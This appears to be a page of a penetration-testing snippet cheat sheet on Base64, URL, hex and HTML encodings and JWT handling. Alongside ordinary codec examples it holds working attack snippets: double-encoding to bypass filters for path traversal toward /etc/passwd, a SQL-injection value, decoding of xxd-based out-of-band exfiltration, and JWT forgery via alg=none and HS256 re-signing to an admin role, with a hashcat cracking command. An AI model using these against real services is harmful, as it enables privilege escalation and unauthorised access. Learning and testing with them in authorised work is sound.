Encodings
Base64, URL, hex and HTML codecs, and JWT decode and forge.
Base64 encode / decode (+ UTF-16-LE)
Encode/decode round-trip; urlsafe variant for tokens; utf-16-le for Windows PowerShell.
import base64
enc = base64.b64encode(b"data").decode() # 'ZGF0YQ=='
dec = base64.b64decode("ZGF0YQ==").decode() # 'data'
url = base64.urlsafe_b64encode(b"data").decode() # JWT-style, +/ -> -_
ps = base64.b64encode("whoami".encode("utf-16-le")).decode() # PowerShell -eFind by: base64, encode, decode, b64encode, b64decode, utf-16-le, powershell, urlsafe, bytes, string · Source: PG/Monster
URL encode / double-encode
quote() for path/param safety; double-encode to bypass filters; quote_plus for form values.
from urllib.parse import quote, quote_plus, unquote, urlencode
quote("a b/c?d", safe="") # 'a%20b%2Fc%3Fd'
quote(quote("../etc", safe="")) # double-encode -> '..%252Fetc'
quote_plus("a b") # 'a+b'
unquote("%2Fetc%2Fpasswd") # '/etc/passwd'
urlencode({"q": "' or 1=1", "p": 2})Find by: url encode, urlencode, quote, percent encoding, double encoding, unquote, plus, waf bypass, special chars, escape
Hex & HTML-entity encode / decode
Hex for binary/bytes; html.escape/unescape for entity contexts; unicode-escape for \uXXXX.
bytes.fromhex() and binascii.unhexlify() are equivalent; both turn a hex string back into bytes, and .decode() yields text. This is the receiving end of OOB exfil, where the target hex-encodes command output with xxd -p -c 9999 so binary and newlines survive a URL query parameter. html.escape/unescape cover entity contexts and unicode_escape covers \uXXXX.
# hex
"hello".encode().hex() # '68656c6c6f'
bytes.fromhex("68656c6c6f").decode() # 'hello'
import binascii
binascii.unhexlify("68656c6c6f").decode() # same; decodes `xxd -p` OOB exfil
# html entities
import html
html.escape("<script>") # '<script>'
html.unescape("<b>") # '<b>'
# unicode escapes
"A".encode("unicode_escape") # b'A' round-trippingFind by: hex, hexlify, bytes fromhex, binascii, unhexlify, xxd, exfil decode, oob output, html entities, html escape, unescape, ampersand, encode, decode, xss, unicode escape
JWT — decode header & payload (no verify)
Reads claims without the secret; base64url padding must be fixed before decode.
import base64, json
def b64url_decode(seg):
seg += "=" * (-len(seg) % 4)
return base64.urlsafe_b64decode(seg)
def jwt_decode(token):
h, p, sig = token.split(".")
return json.loads(b64url_decode(h)), json.loads(b64url_decode(p))
header, payload = jwt_decode(TOKEN)
print(header, payload)Find by: jwt, json web token, decode, header, payload, claims, base64url, inspect, alg, none, gap, bearer
JWT — forge (alg=none & HS256 resign)
alg=none drops the signature when the server trusts the header; if the HMAC secret leaks or cracks, claims are re-signed as admin.
Two server-side bugs make forging possible. If the verifier honors the token’s own alg header, setting alg:none and dropping the signature is accepted as valid. If it uses HS256 with a weak or leaked secret, arbitrary claims can be re-signed (the secret is cracked offline with hashcat mode 16500 first). Either path allows minting a token with role:admin. A correct server pins the algorithm server-side and rejects both.
import base64, json, hmac, hashlib
def b64url(b):
if isinstance(b, str): b = b.encode()
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def forge_none(claims):
h = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
p = b64url(json.dumps(claims))
return f"{h}.{p}."
def forge_hs256(claims, secret):
h = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
p = b64url(json.dumps(claims))
sig = hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
return f"{h}.{p}.{b64url(sig)}"
print(forge_hs256({"user": "admin", "role": "admin"}, "secret"))
# crack the secret first: hashcat -m 16500 token.jwt rockyou.txtFind by: jwt, forge, alg none, hs256, resign, secret, sign, privilege escalation, admin, tamper, weak key, gap, crack